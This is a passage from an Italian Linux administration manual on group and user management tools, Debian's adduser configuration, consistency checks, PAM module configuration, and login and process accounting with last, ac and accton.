La presenza di una parola d'ordine in un gruppo, serve a permettere a utenti che non siano già membri di poterne fare parte utilizzando il comando '**newgrp**'. Tuttavia, il meccanismo potrebbe non funzionare, a dimostrazione dello scarso interesse verso questa possibilità. Infatti, la vera innovazione nell'introduzione del file '/etc/gshadow' sta nella possibilità di definire degli amministratori per i gruppi, competenti per l'aggregazione dei membri rispettivi.

Tabella 18.64. Alcune opzioni.

Opzione	Descrizione
-A *amministratore* [,...]	Permette all'utente '**root**' di definire uno o più amministratori per il gruppo. L'argomento dell'opzione è un elenco di uno o più utenti a cui viene attribuito il ruolo di amministratori del gruppo. L'elenco di amministratori va a sostituirsi a quanto impostato in precedenza.
-M *membro* [,...]	Permette all'utente '**root**' di definire uno o più membri del gruppo. L'argomento dell'opzione è un elenco di uno o più utenti membri del gruppo. L'elenco di membri va a sostituirsi a quanto impostato in precedenza.
-a *membro*	Permette a un amministratore del gruppo di aggiungere un utente membro.
-d *membro*	Permette a un amministratore del gruppo di eliminare un utente membro.
-r	Permette a un amministratore del gruppo di eliminare la parola d'ordine.
-R	Permette a un amministratore del gruppo di rendere impossibile l'accesso attraverso la parola d'ordine.

18.8.3.5 Utilizzo di «groupadd»

Il programma '**groupadd**'[35] permette di aggiungere un gruppo in un sistema in cui siano attive, o meno, le parole d'ordine oscurate.

```
groupadd [opzioni] gruppo
```

18.8.3.6 Utilizzo di «groupdel»

Il programma '**groupdel**'[36] permette di eliminare un gruppo in un sistema in cui siano attive, o meno, le parole d'ordine oscurate.

```
groupdel gruppo
```

18.8.4 Caso particolare di «adduser» e «addgroup» nella distribuzione GNU/Linux Debian

La distribuzione GNU/Linux Debian, al posto del programma '**adduser**' tradizionale (quello che si usa di solito quando non si gestiscono le parole d'ordine oscurate), dispone di un programma Perl creato appositamente per gestire simultaneamente la creazione degli utenti e dei gruppi privati relativi. Se si dispone di parole d'ordine oscurate, provvede a richiamare i programmi '**useradd**' e '**groupadd**', nel modo più opportuno.[37]

Con la distribuzione GNU/Linux Debian, i programmi '**useradd**' e '**groupadd**' non vanno usati direttamente; al loro posto si utilizzano '**adduser**' e '**addgroup**' (il secondo è solo un alias, in qualità di collegamento del primo) che si configurano attraverso il file '/etc/adduser.conf'. Senza approfondire la sintassi degli argomenti di '**adduser**' e di '**addgroup**', nella versione Debian, si può utilizzare il primo di questi due eseguibili indicando semplicemente il nome dell'utente che si vuole creare, affidandosi alla sua configurazione predefinita. Di seguito appare l'esempio standard del file '/etc/adduser.conf':

```
# /etc/adduser.conf: 'adduser' configuration.
# See adduser(8) and adduser.conf(5) for full documentation.

# The DSHELL variable specifies the default login shell on your
# system.
DSHELL=/bin/bash

# The DHOME variable specifies the directory containing users' home
# directories.
DHOME=/home

# If GROUPHOMES is "yes", then the home directories will be created as
# /home/groupname/user.
GROUPHOMES=no

# If LETTERHOMES is "yes", then the created home directories will have
# an extra directory - the first letter of the user name. For example:
# /home/u/user.
LETTERHOMES=no

# The SKEL variable specifies the directory containing "skeletal" user
# files; in other words, files such as a sample .profile that will be
# copied to the new user's home directory when it is created.
SKEL=/etc/skel
```

```
# FIRST_SYSTEM_UID to LAST_SYSTEM_UID inclusive is the range for UIDs
# for dynamically allocated administrative and system accounts.
FIRST_SYSTEM_UID=100
LAST_SYSTEM_UID=199

# FIRST_UID to LAST_UID inclusive is the range of UIDs of dynamically
# allocated user accounts.
FIRST_UID=1000
LAST_UID=29999

# The USERGROUPS variable can be either "yes" or "no".  If "yes" each
# created user will be given their own group to use as a default, and
# their home directories will be g+s.  If "no", each created user will
# be placed in the group whose gid is USERS_GID (see below).
USERGROUPS=yes

# If USERGROUPS is "no", then USERS_GID should be the GID of the group
# `users' (or the equivalent group) on your system.
USERS_GID=100

# If QUOTAUSER is set, a default quota will be set from that user with
# `edquota -p QUOTAUSER newuser'
QUOTAUSER=""

# If DIR_MODE is set, directories will be created with the specified
# mode. Otherwise the default mode 0755 will be used.
DIR_MODE=0755

# If SETGID_HOME is "yes" home directories for users with their own
# group the setgid bit will be set. This was the default for
# versions << 3.13 of adduser. Because it has some bad side effects we
# no longer do this per default. If you want it nevertheless you can
# still set it here.
SETGID_HOME=no
```

Come si può osservare, le direttive sono degli assegnamenti a variabili, dove le righe vuote e quelle bianche vengono ignorate, così come è ignorato il testo che segue il simbolo '`#`' fino alla fine della riga in cui appare.

Tabella 18.66. Alcune opzioni.

Opzione	Descrizione
`DSHELL=`***percorso_shell_standard***	Definisce la shell da attribuire agli utenti che vengono creati. In mancanza di questa indicazione, si utilizza '`/bin/bash`'.
`DHOME=`***radice_directory_personali***	Definisce la radice delle directory personali che vengono create. Il valore predefinito è '`/home/`'.

Opzione	Descrizione
SKEL=*scheletro_directory_personali*	Definisce la directory da utilizzare come scheletro per la creazione delle directory personali. In modo predefinito si tratta di '/etc/skel/'.
FIRST_UID=*n_uid_iniziale* LAST_UID=*n_uid_finale*	Definiscono l'intervallo dei numeri UID che possono essere utilizzati per gli utenti. In modo predefinito, si tratta di 1000 e 29999 rispettivamente.
USERGROUPS={yes|no}	Serve a definire se gli utenti devono avere un gruppo privato. Se si attiva questa modalità, assegnando la parola chiave '**yes**', che è il valore predefinito.
USERS_GID=*n_gid*	Questa direttiva serve solo nel caso sia stata utilizzata '**USERGROUPS=no**', permettendo così di stabilire il numero GID del gruppo da abbinare agli utenti nuovi.

18.8.5 Verifiche di coerenza

La gestione delle utenze non è fatta solo di inserimenti, modifiche ed eliminazioni. Dal momento che le modifiche possono anche essere fatte direttamente sui file, è comodo se si dispone di qualche strumento di controllo di coerenza.

18.8.5.1 utilizzo di «pwck»

Il programma '**pwck**'[38] verifica la coerenza del file '/etc/passwd' e, se esiste, del file '/etc/shadow' (utilizzando anche il file '/etc/group' per il controllo dell'appartenenza ai gruppi). Il programma, previo consenso dell'utilizzatore (l'utente '**root**'), può risolvere da solo alcuni tipi di problemi modificando i file. Tuttavia, se si utilizza l'opzione '**-r**', '**pwck**' si limita a segnalare i problemi.

pwck [-r] [*file_passwd* [*file_shadow*]]

Se necessario, si possono indicare espressamente i file che svolgono le funzioni di 'passwd' e 'shadow'.

18.8.5.2 Utilizzo di «grpck»

Il programma '**grpck**' [39] verifica la coerenza del file '/etc/group' e, se esiste, del file '/etc/gshadow' (utilizzando anche il file '/etc/passwd' per la verifica dell'aggregazione degli utenti). Il programma, previo consenso dell'utilizzatore (l'utente '**root**'), può risolvere da solo alcuni tipi di problemi modificando i file. Tuttavia, se si utilizza l'opzione '**-r**', '**grpck**' si limita a segnalare i problemi.

grpck [-r] [*file_group* [*file_gshadow*]]

Se necessario, si possono indicare espressamente i file che svolgono le funzioni di 'group' e 'gshadow'.

18.8.6 Copie di sicurezza

Quando si aggiunge, elimina, o si modifica un'utenza attraverso gli strumenti previsti, vengono generate delle copie di sicurezza dei file amministrativi coinvolti. Tipicamente può trattarsi di '`/etc/passwd`', '`/etc/shadow`', '`/etc/group`' e '`/etc/gshadow`'.

Queste copie di sicurezza si distinguono perché hanno gli stessi nomi dei file corrispondenti con l'aggiunta di un trattino finale. In pratica: '`/etc/passwd-`', '`/etc/shadow-`', '`/etc/group-`' e '`/etc/gshadow-`'. È importante fare un minimo di attenzione anche a questi file, se si vuole evitare che informazioni importanti vengano conosciute da utenti che non ne hanno il diritto. Infatti, un file '`/etc/shadow-`' che per qualche motivo dovesse diventare leggibile a tutti gli utenti, costituirebbe un grosso buco nel sistema di sicurezza.

18.9 Moduli PAM

Secondo la tradizione dei sistemi Unix, l'identificazione di un utente avviene attraverso una parola d'ordine, annotata in modo cifrato nel file '`/etc/passwd`', oppure nel file '`/etc/shadow`' se è attiva la gestione delle parole d'ordine oscurate. L'introduzione delle parole d'ordine oscurate ha aggiunto la possibilità di maggiori controlli sull'utenza, in particolare definendo dei tempi di validità per le parole d'ordine e per le utenze stesse.

Tuttavia, il sistema delle parole d'ordine oscurate rimane ancorato alla gestione di parole d'ordine, mentre i metodi di identificazione potrebbero essere differenti. L'esigenza di definire una struttura generalizzata per la gestione dei metodi di autenticazione ha portato alla realizzazione del sistema PAM (*Pluggable authentication modules*), con il quale, attraverso le librerie PAM è possibile definire e configurare la politica di accesso in base al contesto.

Per mettere in pratica questo sistema, i programmi che in qualche modo si occupano di mettere a disposizione un ***servizio di autenticazione*** devono essere predisposti per l'utilizzo di tali librerie. In generale, un sistema Unix in cui è attivata la gestione PAM, configurato in modo standard, si comporta esattamente come un sistema che ne è sprovvisto. In altri termini, la configurazione standard del sistema PAM è quella che ricalca la tradizione dei sistemi Unix.

In questo capitolo si fa riferimento alla realizzazione del sistema PAM per GNU/Linux, ovvero Linux-PAM.[40]

18.9.1 Servizi PAM

I programmi che si avvalgono del sistema PAM sono stati compilati in modo da utilizzare la libreria LibPAM, costituita generalmente dalla libreria dinamica '`/lib/libpam.so`'. Lo si può verificare facilmente con '**`ldd`**':

```
# ldd /bin/login [Invio]
```

```
...
libpam.so.0 => /lib/libpam.so.0 (0xb7f17000)
...
```

Ogni programma che utilizza il sistema PAM (attraverso la libreria LibPAM), viene associato a un ***servizio***, il cui nome corrisponde generalmente a quello del programma. Per esempio, si associa il servizio '**`login`**' al programma '**`login`**', ma succede anche che si associ il servizio

'**ssh**' al programma '**sshd**'. L'associazione tra programmi e servizi dipende dal modo in cui i programmi sono compilati, pertanto non si può modificare in fase di amministrazione del sistema, a meno di intervenire direttamente nei sorgenti degli stessi.

Ogni servizio PAM rappresenta una situazione in cui si richiede l'autenticazione degli utenti, o comunque qualcosa di strettamente correlato. Teoricamente, programmi differenti possono condividere lo stesso servizio PAM.

Per ogni servizio PAM viene predisposta una configurazione particolareggiata, la quale può risiedere complessivamente nel file '/etc/pam.conf', oppure in file separati all'interno della directory '/etc/pam.d/'. Generalmente il file '/etc/pam.conf' non viene più usato e i file contenuti nella directory '/etc/pam.d/' hanno nomi corrispondenti al servizio PAM a cui si riferiscono.

18.9.2 File di configurazione e moduli

L'aspetto più importante del sistema PAM è la modularità, costituita da diversi file di libreria, oltre a quello principale già descritto (LibPAM). Quando si gestisce il sistema PAM, questi file sono indispensabili al funzionamento del sistema, pertanto non possono essere collocati al di sotto della directory '/usr/'.[41] La collocazione normale di questi file è così la directory '/lib/security'. A titolo di esempio, nella directory si potrebbero vedere i file seguenti:

```
pam_access.so   pam_ldap.so       pam_rhosts_auth.so  pam_unix_acct.so
pam_deny.so     pam_limits.so     pam_rootok.so       pam_unix_auth.so
pam_env.so      pam_listfile.so   pam_securetty.so    pam_unix_passwd.so
pam_filter.so   pam_mail.so       pam_shells.so       pam_unix_session.so
pam_ftp.so      pam_mkhomedir.so  pam_stress.so       pam_userdb.so
pam_group.so    pam_motd.so       pam_tally.so        pam_warn.so
pam_issue.so    pam_nologin.so    pam_time.so         pam_wheel.so
pam_lastlog.so  pam_permit.so     pam_unix.so
```

Come già accennato, la configurazione del sistema PAM dipendeva originariamente dal file '/etc/pam.conf'. Attualmente la configurazione è suddivisa in più file (ognuno competente per un servizio PAM specifico), contenuti nella directory '/etc/pam.d/' e il file '/etc/pam.conf' rimane vuoto o commentato completamente. In tal modo, ogni servizio PAM ha un proprio file nella directory '/etc/pam.d/', facilitando anche la gestione dei pacchetti di applicazioni, i quali non sono costretti a condividere la configurazione in un solo file.

I file di configurazione contenuti nella directory '/etc/pam.d/' sono file di testo normali, in cui le righe vuote e quelle bianche sono ignorate, così come sono ignorate quelle che iniziano con il simbolo '**#**'. Per il resto, si tratta di direttive con la struttura seguente:

tipo livello_di_controllo modulo_pam [***opzioni_del_modulo***]

Oppure, si può trattare di direttive di inclusione di altri file:

@include ***nome_file_da_includere***

Il listato 18.69 rappresenta l'esempio di come potrebbe apparire il file '/etc/pam.d/login' che serve a configurare il servizio di autenticazione attraverso il programma '**login**'.

Listato 18.69. Esempio del file '/etc/pam.d/login'.

```
auth       requisite  pam_securetty.so
auth       required   pam_nologin.so
auth       required   pam_env.so
auth       required   pam_unix.so nullok
account    required   pam_unix.so
session    required   pam_unix.so
session    optional   pam_lastlog.so
session    optional   pam_motd.so
session    optional   pam_mail.so standard noenv
password   required   pam_unix.so nullok obscure min=4 max=8
```

Il primo campo serve a definire la fase di autenticazione a cui si fa riferimento, attraverso alcune parole chiave ben definite, descritto nell'elenco successivo.

Parola chiave	Descrizione
`auth`	Verifica l'identità dell'utente, eventualmente attraverso la richiesta di una parola d'ordine oppure attraverso altri metodi di autenticazione.
`account`	Verifica lo stato dell'utenza, la quale può risultare attiva, scaduta, inattiva o disabilitata, solitamente secondo le informazioni provenienti dal file '/etc/shadow'.
`password`	Si utilizza per controllare la modifica della parola d'ordine, per esempio per imporre che questa non sia troppo banale.
`session`	Questo contesto permette di definire delle azioni da compiere nel momento dell'accesso, oppure al momento della sua conclusione. Osservando l'esempio che è stato proposto, si può intendere intuitivamente la richiesta di informare l'utente sull'ultimo accesso, di mostrare il messaggio del giorno e di informare sulla presenza di messaggi di posta elettronica.

Ogni modulo PAM può essere visto come una funzione che restituisce un valore. Sono possibili diversi casi, tra cui si distingue un successo completo o un insuccesso, con tante sfumature intermedie che, eventualmente, possono essere verificate nel dettaglio. A questo proposito, il secondo campo delle direttive di configurazione consente di definire come deve essere preso in considerazione l'esito della verifica fatta dal modulo corrispondente. Anche in questo caso si usa una parola chiave, come descritto nel prossimo elenco.

Parola chiave	Descrizione
`required`	Rappresenta un controllo indispensabile, attraverso il quale si pretende di ottenere un esito soddisfacente. Tuttavia, l'insuccesso nell'autenticazione, che porta comunque a un risultato finale negativo, non conclude immediatamente la procedura, in modo da non consentire all'utente di comprendere dove si sia verificato il problema.
`requisite`	Rappresenta un controllo indispensabile, attraverso il quale si pretende di ottenere un esito soddisfacente. A differenza di '**required**', in questo caso l'insuccesso fa concludere immediatamente la procedura (logicamente con un risultato finale negativo).

Parola chiave	Descrizione
`sufficient`	Rappresenta un controllo sufficiente. In pratica, se prima di questo controllo non si sono verificati problemi, un esito soddisfacente conclude la procedura con un'autenticazione corretta. Al contrario, un esito non soddisfacente determina solo un risultato temporaneamente indeterminato. Naturalmente, se si tratta dell'ultimo risultato disponibile, ciò corrisponde a un risultato negativo (in quanto non positivo).
`optional`	Rappresenta un controllo opzionale, nel quale un esito non soddisfacente dà soltanto un risultato indeterminato. Si usa questa modalità di controllo quando il modulo PAM serve per compiere delle operazioni che possono fallire senza però pregiudicare la sicurezza.

Le direttive di ogni servizio PAM vengono analizzate nell'ordine in cui appaiono; pertanto, è evidente che il risultato finale dipenda dalla sequenza in cui vengono trovate nel file di configurazione relativo.

Le parole chiave appena descritte (quelle del secondo campo) possono essere dettagliate in modo completo, sostituendole con un'espressione tra parentesi quadre (pertanto le parentesi quadre vanno inserite effettivamente). A titolo di esempio, la tabella successiva descrive la traduzione delle parole chiave già descritte. Naturalmente, per poter usare tali espressioni occorre conoscere perfettamente le opzioni relative.

Parola chiave	Espressione equivalente
`required`	`[success=ok new_authok_reqd=ok ignore=ignore default=bad]`
`requisite`	`[success=ok new_authok_reqd=ok ignore=ignore default=die]`
`sufficient`	`[success=done new_authok_reqd=done default=ignore]`
`optional`	`[success=ok new_authok_reqd=ok default=ignore]`

Il terzo campo rappresenta il nome del file di libreria che costituisce il modulo relativo. Questo nome può essere completo di percorso assoluto, oppure può essere indicato senza tale informazione, se la sua collocazione è quella predefinita. Il quarto campo è costituito dalle opzioni da passare al modulo, separate tra loro da uno o più spazi.

Tra i vari file di configurazione è importante definirne uno denominato '`other`', che viene utilizzato quando per quel particolare servizio di autenticazione non ne è stato previsto uno specifico. L'esempio che si vede nel listato 18.73 rappresenta il contenuto di questo file quando si vuole garantire un sistema minimo di autenticazione, secondo i canoni tradizionali.

Listato 18.73. Un file '`/etc/pam.d/other`' per consentire l'accesso in mancanza di altro.

```
auth     required       pam_unix.so
account  required       pam_unix.so
password required       pam_unix.so
session  required       pam_unix.so
```

Per verificare che ciò sia vero, si può provare a spostare temporaneamente gli altri file di configurazione della directory '`/etc/pam.d/`' in un'altra collocazione, lasciando al suo posto il file '`/etc/pam.d/other`'.[42]

In alternativa, si può fare in modo che non ci siano altre possibilità di autenticazione, al di fuori di quando definito dai file di configurazione specifici. Per questo, basta che il file '/etc/pam.d/other' contenga le righe che si vedono nel listato 18.74.

Listato 18.74. Un file '/etc/pam.d/other' per impedire l'accesso quando manca una configurazione specifica.

```
auth     required       pam_deny.so
account  required       pam_deny.so
password required       pam_deny.so
session  required       pam_deny.so
```

18.9.3 Verifica nel registro del sistema

A seconda delle circostanze, alcuni moduli possono annotare nel registro del sistema l'esito della loro verifica. Spesso è prevista l'opzione '**debug**' per abilitare queste annotazioni, a meno che ciò sia implicito. Queste annotazioni possono aiutare l'amministratore a comprendere dove ci possono essere dei problemi di configurazione. A titolo di esempio, si può osservare l'estratto seguente:

```
Oct 21 18:07:30 dinkel PAM_unix[591]: check pass; user unknown
Oct 21 18:07:30 dinkel PAM_unix[591]: authentication failure; ↩
↪LOGIN(uid=0) -> tizio for login service
Oct 21 18:07:33 dinkel login[591]: FAILED LOGIN (1) on 'tty3' ↩
↪FOR 'UNKNOWN', Authentication service cannot retrieve ↩
↪authentication info.
```

In questo caso si può osservare che l'utente '**tizio**' ha tentato di accedere attraverso il servizio di autenticazione '**login**', senza che per lui sia prevista un'utenza, pertanto, già il nominativo-utente '**tizio**' risulta sconosciuto.

18.9.4 Configurazione particolareggiata dei moduli

Oltre alle opzioni fornite nelle direttive dei file di configurazione dei servizi di autenticazione, nella directory '/etc/pam.d/', alcuni moduli possono richiedere una configurazione particolare. Questi file ulteriori hanno solitamente un nome corrispondente a quello dei moduli, senza il prefisso 'pam_' e senza l'estensione '.so', con l'aggiunta dell'estensione '.conf', collocati nella directory '/etc/security/'. Per esempio, il file '/etc/security/access.conf' si riferisce al modulo 'pam_access.so'.

In condizioni normali, tali file di configurazione ulteriori, sono vuoti, oppure sono commentati completamente, rimanendo a disposizione per la definizione di funzionalità particolari.

18.9.5 Descrizione di alcuni moduli

Per poter mettere mano, concretamente, alla configurazione del sistema PAM, occorre conoscere i moduli e il loro utilizzo. I moduli principali sono descritti nel documento *The Linux-PAM system administrators' guide*, annotato alla fine del capitolo, ma altri moduli possono aggiungersi per scopi specifici. Dovrebbero essere disponibili anche delle pagine di manuale, corrispondenti ai nomi dei moduli (senza l'estensione '.so'); per esempio *pam_unix(8)*, *pam_deny(8)*,... Nelle sezioni successive vengono descritti solo alcuni tra i moduli più semplici.

Bisogna ricordare che la modifica della configurazione del sistema PAM è sempre molto delicata, perché si corre il rischio di impedire l'accesso o di consentirlo indiscriminatamente, o comunque di gestirlo secondo criteri non desiderati.

18.9.5.1 Modulo «pam_warn.so»

Il modulo costituito dal file di libreria '`pam_warn.so`' consente di eseguire un'annotazione nel registro di sistema e può essere associato a tutte le fasi ('**auth**', '**account**', '**password**' e '**session**'). Per esempio si potrebbe utilizzare una direttiva come quella seguente:

```
auth  required  pam_warn.so
```

Quando la direttiva viene presa in considerazione, si ottiene un'annotazione nel registro di sistema, simile a quella seguente:

```
Nov  5 20:00:39 127 login[3702]: pam_warn(login:auth): ↩
↪function=[pam_sm_authenticate] service=[login] terminal=[tty4] ↩
↪user=[tizio] ruser=[<unknown>] rhost=[]
```

Naturalmente, altri moduli trasmettono già informazioni sufficienti nel registro di sistema e rendono normalmente inutile l'uso di '`pam_warn.so`'.

18.9.5.2 Modulo «pam_permit.so»

Il modulo costituito dal file di libreria '`pam_permit.so`' consente l'accesso in ogni circostanza; pertanto va usato solo per fare degli esperimenti. Può essere associato a tutte le fasi ('**auth**', '**account**', '**password**' e '**session**'). Per esempio, all'inizio del file '`/etc/pam.d/login`', prima delle altre direttive, potrebbe apparire quella seguente:

```
auth  sufficient  pam_permit.so
```

Così facendo, dai terminali comuni, sarebbe consentito l'accesso a qualunque utente, senza la richiesta di alcuna parola d'ordine (in altri termini, il programma '**login**' non procederebbe con alcuna richiesta di parola d'ordine). Ovviamente, una direttiva del genere, può essere utile concretamente solo quando si vuole specificare che la presenza di risultati indeterminati, precedenti, devono portare comunque a un risultato finale positivo.

18.9.5.3 Modulo «pam_deny.so»

Il modulo relativo al file '`pam_deny.so`' è l'opposto di '**pam_permit.so**', in quanto dà sempre un esito negativo. Anche questo modulo può essere usato per tutte le fasi ('**auth**', '**account**', '**password**' e '**session**'). Il suo uso più probabile riguarda il file '`/etc/pam.d/other`', quando si vogliono escludere gli accessi che non siano stati previsti espressamente attraverso altri file:

```
auth      required  pam_deny.so
account   required  pam_deny.so
password  required  pam_deny.so
session   required  pam_deny.so
```

18.9.5.4 Modulo «pam_exec.so»

Il modulo relativo al file '`pam_exec.so`' consente di eseguire un programma e di tenere conto dell'esito dello stesso. Può essere usato per tutte le fasi ('**`auth`**', '**`account`**', '**`password`**' e '**`session`**'). Nella documentazione del modulo si fa l'esempio seguente che è particolarmente significativo:

```
password  optional  pam_exec.so seteuid make -C /var/yp
```

In questo caso, quando viene presa in considerazione la direttiva si tratta di una modifica di una parola d'ordine, quindi l'azione associata al modulo consiste nell'eseguire il comando '**`make -C /var/yp`**'. In pratica, in questo modo, quando si cambia la parola d'ordine vengono aggiornati anche i file del NIS, presumibilmente per la condivisione delle utenze attraverso la rete.

Si osservi nell'esempio l'uso della parola chiave '**`optional`**', per garantire che il risultato del comando eseguito non abbia effetto sul processo di modifica della parola d'ordine. Inoltre, l'opzione '**`seteuid`**' serve sostanzialmente a far sì che il comando ('**`make -C /var/yp`**') venga eseguito con i privilegi dell'utente '**`root`**'.

18.9.5.5 Modulo «pam_unix.so»

Il modulo relativo al file '`pam_unix.so`' consente di riprodurre il sistema di verifica e autenticazione tradizionale dei sistemi Unix, con i file '`/etc/passwd`' e '`/etc/shadow`' (se la gestione delle parole d'ordine oscurate è attiva). Può essere usato per tutte le fasi ('**`auth`**', '**`account`**', '**`password`**' e '**`session`**').

A titolo di esempio, un file '`/etc/pam.d/login`' ridotto all'osso potrebbe avere il contenuto seguente:

```
auth      required      pam_unix.so
account   required      pam_unix.so
password  required      pam_unix.so
session   required      pam_unix.so
```

Questo modulo prevede l'uso di diverse opzioni e di norma ne vengono usate alcune, soprattutto per garantire che le parole d'ordine siano presenti e rispettino alcuni criteri minimi di sicurezza. A ogni modo, si veda la pagina di manuale *pam_unix(8)*.

18.10 Contabilità dell'utilizzo di risorse del sistema

Il problema della registrazione dell'utilizzo di risorse è nato proprio per misurare e fare pagare i servizi utilizzati dagli utenti. In questo senso si spiega l'enfasi «contabile» che si dà al problema.

Alla base della contabilità dell'utilizzo delle risorse del sistema sta il file '`/var/log/wtmp`', che deve esistere perché tali registrazioni avvengano effettivamente. Per motivi storici, non si tratta di un file di testo normale, così che per leggerlo si usa generalmente il programma '**`last`**', al quale si aggiungono eventualmente altri programmi più raffinati.

Oltre alla contabilità basata sul file '`/var/log/wtmp`' si aggiunge quella legata ai processi, derivata da BSD (*BSD process accounting*). Mentre il file '`/var/log/wtmp`' (e anche '`/var/`

run/utmp') è gestito generalmente da Init, dalla procedura di accesso tradizionale ('**login**'), dalla serie dei programmi Getty e da altri programmi che sono legati al sistema di autenticazione degli utenti, la contabilità dei processi in stile BSD è gestita direttamente dal kernel (sezione 8.3.1).

18.10.1 Formato dei file

Come accennato, una delle caratteristiche importanti di questi file è il fatto di non essere file di testo normali. Il formato del loro contenuto varia da sistema a sistema e anche da una versione all'altra dello stesso sistema operativo. Pertanto, può succedere alle volte che qualcosa non funzioni, nel senso che i programmi che vi accedono non riescono a interpretare i dati in modo corretto, o peggio eseguono delle registrazioni errate.

Questa annotazione serve per tenere in considerazione il problema, ma tutto quello che si può fare, quando si notano delle anomalie legate a queste componenti del sistema, è l'aggiornamento del software.

18.10.2 Contabilità basata sul file «/var/log/wtmp»

Il file '/var/log/wtmp' è il registro storico degli accessi al sistema. Al suo interno vengono annotate le informazioni della data e dell'ora di accesso di ogni utente, assieme alla provenienza. I dati contenuti in questo file hanno valore solo se sono completi, nel senso che per ogni accesso si deve trovare anche la registrazione della conclusione della sessione di lavoro, altrimenti non possono essere calcolati i tempi di utilizzo.

Purtroppo, questo file non offre le garanzie di una base di dati vera e propria, così le registrazioni che vengono fatte al suo interno non sono mai sicure. Pertanto, i dati che si riescono a estrapolare sono da considerare approssimativi in generale.

Questo file tende a ingrandirsi rapidamente, tanto che periodicamente conviene fare pulizia. Di solito, le distribuzioni GNU provvedono a fornire degli script necessari per gestire in modo elegante, attraverso il sistema Cron, l'archiviazione e la rotazione dei file delle registrazioni, compreso '/var/log/wtmp'.

18.10.2.1 Utilizzo di «last»

Il programma '**last**' visualizza il contenuto del file delle registrazioni degli accessi (*login*) e disconnessioni (*logout*) per le informazioni riguardanti gli utenti e i terminali. Il file dal quale queste informazioni vengono attinte è '/var/log/wtmp'.[43]

```
last [opzioni] [nome...]
```

L'esempio seguente mostra una parte dell'output che potrebbe essere generato da questo programma.

```
daniele  tty5                           Tue Mar 30 16:18   still logged in
daniele  tty5                           Tue Mar 30 16:17 - 16:18  (00:01)
tizio    ttyp1        roggen.brot.dg    Tue Mar 30 14:33   still logged in
reboot   system boot                    Tue Mar 30 14:30
root     tty3                           Mon Mar 29 22:18 - down   (01:29)
daniele  tty2                           Mon Mar 29 21:29 - 23:47  (02:18)
caio     ttyp1        roggen.brot.dg    Mon Mar 29 21:14 - 23:47  (02:33)
reboot   system boot                    Mon Mar 29 21:10
```

Si osserva in particolare che la prima voce rappresenta l'accesso più recente, quello dell'utente '**`daniele`**' dalla quinta console virtuale, dove risulta essere ancora collegato. Si vede anche che lo stesso vale per l'utente '**`tizio`**' che sta utilizzando il sistema attraverso un accesso remoto proveniente dall'elaboratore *`roggen.brot.dg`*. Si notano anche gli accessi conclusi regolarmente (quelli che hanno un orario di inizio e un orario di fine, oltre che l'indicazione della durata dell'accesso tra parentesi) e quindi si distinguono gli accessi sicuramente conclusi, di cui non è stata annotata la fine. Infatti, il giorno 30 marzo alle ore 14:30 il sistema è stato riavviato e, di conseguenza, gli accessi in essere in precedenza sono da considerare conclusi: l'accesso dell'utente '**`root`**' del 29 marzo alle ore 22:18 non è stato concluso in modo normale, probabilmente perché ha avviato il programma '**`shutdown`**' e non ha fatto in tempo a concludere la sessione di lavoro.

Tabella 18.83. Alcune opzioni.

Opzione	Descrizione
`-`***numero*** `-n` ***numero*** `--lines` ***numero***	Limita il numero di elementi visualizzati allo specifico valore numerico indicato.
`-f` ***file*** `--file` ***file***	Analizza il file specificato invece di utilizzare quello predefinito, cioè '`/var/log/wtmp`'.
`-x` `--more-records`	Permette di conoscere anche le informazioni sull'arresto del sistema e in generale sui cambiamenti del livello di esecuzione (*runlevel*).

Segue la descrizione di alcuni esempi.

- `$` **`last`** [*Invio*]

  Visualizza gli ultimi eventi del registro degli accessi.

- `$` **`last tizio root`** [*Invio*]

  Visualizza gli accessi e le disconnessioni da parte degli utenti '**`tizio`**' e '**`root`**'.

18.10.2.2 Utilizzo di «ac»

Il programma '**ac**'[44] si basa sul contenuto del file '/var/log/wtmp' per determinare i tempi di accesso complessivi del periodo a cui si riferisce il file stesso.

```
ac [opzioni] [utente...]
```

Se viene utilizzato senza argomenti, si limita a emettere il tempo complessivo di tutti gli accessi, pertanto è utile in pratica solo quando si indicano delle opzioni. Se viene indicato il nome di uno o più utenti, si ottengono soltanto i dati relativi a questi.

L'accuratezza delle informazioni ottenute con '**ac**' dipende naturalmente dall'integrità del file che viene analizzato.

Tabella 18.84. Alcune opzioni.

Opzione	Descrizione
-d --daily-totals	Mostra l'elenco dei tempi di accesso giornalieri.
-p --individual-totals	Mostra l'elenco dei tempi di accesso suddivisi per utente.
-f *file* --file *file*	Analizza il file specificato invece di utilizzare quello predefinito, cioè '/var/log/wtmp'.

Segue la descrizione di alcuni esempi.

- $ **ac** [*Invio*]

  Mostra il totale degli accessi, per esempio ciò che appare di seguito, tenendo conto che il valore fa riferimento alle ore. Per la precisione si tratta di 4198 ore e 51 minuti.

  ```
          total     4198.85
  ```

- $ **ac -d** [*Invio*]

  Mostra l'elenco dei tempi di accesso giornalieri, per esempio il listato seguente che viene mostrato solo nella sua parte finale:

  ```
  ...
  Mar 24  total       35.21
  Mar 25  total       26.95
  Mar 26  total        2.67
  Mar 28  total       61.54
  Mar 29  total       35.55
  Today   total       45.64
  ```

- $ **ac -p** [*Invio*]

  Mostra l'elenco dei tempi di accesso suddivisi per utente:

```
pippo                                 1.84
ftp                                   0.99
tizio                                 2.93
daniele                            3100.52
root                               1083.21
sempronio                             6.41
caio                                  3.41
total     4199.32
```

- $ **ac -p tizio caio** [*Invio*]

  Come nell'esempio precedente, ma limitatamente agli utenti '**tizio**' e '**caio**':

```
tizio                                 2.93
caio                                  3.41
total        6.34
```

- $ **ac -p tizio caio -f /var/log/wtmp.1** [*Invio*]

  Come nell'esempio precedente, ma analizzando il file '/var/log/wtmp.1' che presumibilmente è il file delle registrazioni precedente.

18.10.3 Contabilità dei processi

Come già accennato all'inizio del capitolo, la contabilità riferita ai processi è gestita direttamente dal kernel. Questa viene attivata attraverso una chiamata di sistema, ***acct()***, per cui si usa un programma apposito: '**accton**'. [45]

accton [*file_delle_registrazioni*]

Per la precisione, se '**accton**' viene usato senza argomenti, la contabilizzazione da parte del kernel viene disattivata; al contrario, se si indica il file da utilizzare, la contabilizzazione viene attivata e diretta verso quel file.

Il file in questione può essere '/var/log/pacct', o anche '/var/account/pacct'. Nel secondo caso, si attiva la registrazione contabile dei processi con il comando seguente (naturalmente è necessario che il file esista già).

accton /var/account/pacct [*Invio*]

Il problema della contabilità dei processi sta nel fatto che viene considerato un accessorio di importanza minore, pertanto può capitare che i programmi di cui si dispone non siano perfettamente conformi al formato del file generato dal kernel, in quanto non aggiornati.

